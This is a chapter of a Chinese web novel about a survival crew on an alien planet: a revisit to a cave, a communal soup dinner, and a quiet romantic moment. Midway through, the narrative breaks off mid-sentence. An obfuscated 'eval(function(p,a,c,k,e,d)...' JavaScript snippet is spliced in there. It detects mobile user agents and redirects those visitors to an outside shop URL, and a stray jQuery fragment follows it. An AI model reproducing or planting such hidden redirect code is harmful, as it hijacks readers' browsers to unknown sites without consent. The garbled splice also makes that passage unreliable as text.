舰队返航后的第三天,宋雪一个人去了趟岩洞。荒原边上那个最普通的、她第一次来渊烬时住过的岩洞。
她在营地吃完早饭就出了门,跟谁都没说去哪儿。吴姐以为她去清点物资,方晓以为她去补觉,温朗以为她在写航行总结。只有陆铮在她走出营地时抬头看了她一眼,然后继续低头磨他的工兵铲。
岩洞还是老样子。洞口那几株铁棘灌木比上次来时又长高了一截,根系从岩缝里挤出来,把几块碎石顶得歪歪斜斜。洞壁上她当初清理过的痕迹还在——用砂土抹掉的烟熏印子,被湿气洇了一半,隐约还能看出当年太阳能充电板在岩壁上留下的长方形浅色印记。她在洞里站了一会儿,在角落蹲下来,手指摸了摸地面上一道细长的凹痕。是她当初清理地面碎石时工兵铲不小心铲出来的,当时她还懊恼了一阵子,觉得破坏了洞壁的完整。现在这道凹痕还在,浅浅的,边缘已经被新落的灰尘磨圆了。
她坐了下来。随意地靠着洞壁,一条腿伸直一条腿曲着,手搭在膝盖上。感知态没有开,光屏没有开,什么也没有开。她就那么安静地靠着洞壁,听自己的呼吸。这里是她在这颗星球上第一个落脚点,她在这里独自待了整整一个月,在这里第一次触发感知态,在这里差点被沙刺虫吓哭,在这里写了整整一本生存笔记。那时候她什么都没有——没有队友,没有协调办,没有林知远签的协议,没有舰队,没有“特殊探索任务组”。她只有一个背包、一把工兵铲、一块太阳能充电板、一箱压缩饼干,和一本封面已经磨得发白的笔记本。那时候她不知道什么时候会有人来,也不知道来的人会不会相信她说的话,甚至不知道自己能不能活到有人来的那一天。
她现在有了太多东西。太多了,以至于有时候她会觉得自己变成了一个巨大的信息中转站,所有东西经过她,被她分类、标记、转发、存档,然后继续处理下一批。她很少有机会像这样坐下来,什么也不处理,只是听着风从洞口吹进来的声音。
脚步声在洞口停住。宋雪睁开眼,温朗站在洞口,手里拿着笔记本,没有录音笔。他今天换回了那件洗得发白的旧冲锋衣——不是系统奖励的轻型防护服,是他最初被传送时从蓝星带来的那件。这件冲锋衣在尘季期间被渊晶微尘染得灰扑扑的,返航后吴姐拿去洗了好几遍,袖口还是有一圈洗不掉的浅紫色痕迹。
“陆铮说你往这边走了。”温朗把笔记本夹在腋下,语气和平时在营地里问她“中午吃什么”一模一样,没有小心翼翼,没有“你是不是心情不好”。宋雪点了点头,往旁边挪了挪,让出一块相对平整的岩石。温朗走进来,在她旁边坐下,把笔记本摊在膝盖上。
温朗没有说话了,翻开笔记本,在空白页上画了几笔,是洞口那几株铁棘灌木的速写。画得不太好看,但他把那几株灌木挤进岩缝里的角度画对了。两人就这么在洞里坐了好一阵子,直到洞口的阳光从橙色调成偏紫的色调,宋雪站起来拍了拍裤子上的灰尘。
“走吧。吴姐说今天晚上不是压缩饼干,是荒原可食用地衣干炖的汤,加了菌丝岛上带回来的几种安全可食用的干菌子。她说没有肉,但比卤牛肉好喝。”
“上次她说这句话的时候,陈知远问她是不是在暗示什么。”
“吴姐回答了吗?”
“没有。她只是把最后一块卤牛肉藏得更深了。”
回到营地,岩棚里已经点起了地灯。吴姐的汤锅在太阳能灶上咕嘟咕嘟冒着热气,她正往锅里洒一把干地衣,动作和她在超市仓库盘点时一样精准。方晓坐在物资架旁边整理菌丝岛带回来的孢子样本,一边贴着不同颜色的标签一边在记录本上写字。陈知远趴在便携键盘上敲东西,键盘旁边放着一碗还冒着热气的汤,但他显然忘了喝,汤面已经凝了一层薄薄的膜。陆铮坐在防风墙边擦他的工兵铲,铲刃在灯光下映出一道冷冽的反光,他看起来和往常一样安静,但仔细看会发现他的铲柄上多了一圈用发光藤蔓编的细绳——温朗给他编的,说“这样在夜里的裂谷里不容易丢”。老周从裂谷营地过来串门,端着一杯自带的茶,正在给新来的几个勘探队员讲如何在尘季里用风向来预测沙刺虫的活动范围,讲到兴头上杯子里的茶水晃出来洒了一裤子都没注意。
宋雪走进来的时候,吴姐抬头看了她一眼,什么都没问,只是说汤快好了,去拿碗。温朗从她身后探出头来,举着笔记本宣布今晚的营地日志标题已经想好了,就叫“返航后第三天:卤牛肉仍然下落不明”。方晓头也不抬地说根据菌丝岛孢子粉尘的活性衰减曲线推算,卤牛肉的保质期不足以支撑到下次出海,建议尽快食用。陆铮难得开口:“你上次说这句话的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831113|211335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己也没吃。”方晓放下采样瓶,隔着半个岩棚看了他一眼。“那是因为我把最后一片让给你了。”陆铮沉默片刻,低下头继续擦铲子。“我知道。”
汤煮好了。吴姐用长柄勺在锅沿上敲了三下,这是她规定的“开饭信号”,所有听到的人必须在几分钟内拿着自己的碗到物资区集合,过时不候。一群人稀稀拉拉地端着碗围过来,有的坐在防风墙上,有的直接坐在碎石地面上。汤的味道确实比卤牛肉好喝——地衣干在热水里泡开之后释放出一种类似干蘑菇的浓郁香气,菌丝岛的干菌子则贡献了一丝极其微弱的甜味。没有人说“这是渊烬最好喝的一顿饭”,因为所有人都知道吴姐接下来会回答“那是因为你们还没喝过明天的”。但他们都在喝完第一口之后不约而同地沉默了几秒。返航后最平淡的一个夜晚,一碗汤,一群人,在荒原边缘的岩棚里。没有什么宏大叙事,没有什么需要决策的战略方向。只是坐着,喝汤,听老周讲沙刺虫的笑话,看温朗把溅在笔记本上的汤汁用指腹小心地抹开然后继续写日志,以及等着吴姐发最后一批新到的地灯电池——她说是新版的,续航比旧版多好几个小时。
后来岩棚里的人都散了,方晓在医疗站里整理完最后一批孢子样本归档,提着医疗包走出来,看到温朗一个人坐在岩棚外面的石头上,笔记本摊在膝盖上,地灯的光把他的侧脸轮廓镀了一层暖黄色的光边。她已经走到他身后了,停下脚步,在他旁边坐下。动作没有犹豫,坐下的位置也没有犹豫——就在他右边,离他拿笔的手肘刚好隔着一个拳头的距离。
“今天的日志写了什么?”
“写了你。”
方晓侧过头看了他一眼,借着地灯的光看到温朗把笔记本翻到最后一页,上面画着一幅小小的速写——一个穿防护服戴眼镜的女人蹲在潟湖边,手里举着采样瓶。笔触很潦草,潟湖的湖面只画了寥寥几笔波浪线,但她手里那管采样瓶里细密的光点画得极仔细,一颗一颗,在纸面上排成旋转的星河。
方晓盯着那页速写看了很久。温朗没有说话,只是把笔记本往她那边推了推。然后她拿过他的笔,在速写下面加了一行字。写完把笔还给他,站起来,拍了拍防护服上的灰尘,转身朝医疗站走去。
“帮你补的。以后写营地日志,别老写别人。偶尔写写你自己。”